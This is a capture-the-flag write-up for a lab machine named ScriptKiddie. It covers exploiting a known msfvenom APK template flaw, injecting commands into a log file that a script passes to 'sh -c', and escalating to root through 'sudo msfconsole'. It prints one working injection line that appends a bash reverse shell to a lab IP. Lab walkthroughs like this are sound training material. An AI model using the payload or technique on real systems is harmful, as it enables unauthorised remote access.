# ScriptKiddie

## Gaining Access

Nmap scan:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-f20cbf17be923d5a359973e9b4dd6e1e7b559def%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Hacker Tools

Port 5000 presented a website where we could use tools like `nmap` and `msfvenom`:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-41628528dc71a616a1526f4ac1a4261bf73756b4%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can try it out and it works:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-69c7a6e295d9b6afd2ed6d144ac03ce2e9868812%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

I tested all forms of command injection, but nothing worked. So, I started checking whether the tools themselves had exploits, and I was surprised to see that `msfvenom` was exploitable:

{% embed url="<https://www.exploit-db.com/exploits/49491>" %}

We just need to replace the payload in the PoC to a reverse shell and generate the APK file:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-3d7219c40ad8345989c4506e00548440dccb45c4%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Afterwards, we can upload this as a template file on the machine and change the LHOST to our IP address:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-04976da7cc0e3fe66535e448f6a5e6fb1c8bf220%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Then we would get a shell:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4e6a451911f16dec46b0988287f270ec62d0bc5b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### To Pwn

There was another user named `pwn` on the machine, so that's probably the next path. Within the home directory of `pwn`, we can see two other files:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c9a6352ad80470910bf06f86b97b1a8ca226d11b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

The `bash` script was running some kind of logger that reads input from `/home/kid/logs/hackers` and executes commands based on it. Take note that we have control over this file.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-863cc6c9fc97cfba510dce20e201dbd9e41f99d9%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, we can see how the `${ip}` variable is not being sanitised and is run with `sh -c`, so this is our RCE point. Some testing revealed that the format of the log written is `[2021-05-28 12:37:32.655374] 10.10.16.9`. We can append a reverse shell to the end:

{% code overflow="wrap" %}

```
[2021-05-28 12:37:32.655374] 10.10.16.9 | bash -c 'bash -i >& /dev/tcp/10.10.16.9/8080 0>&1' #" > /home/kid/logs/hackers
```

{% endcode %}

After echoing it in, we would gain anoter reverse shell:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-2660aba5b7256672088b93a307cb2cee032c6762%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo MSFConsole

When checking `sudo` privileges, we see that we can run `msfconsole` as root.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-1008b6114bb4f7fb41d8379fe0f4514a47bf04e0%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

The thing about `msfconsole` is that we can run shell commands in it. In short, we have root privileges just by doing `sudo msfconsole`:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-93c911c012ef6b9c27e480ec3b81ac5d3c768214%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Rooted!
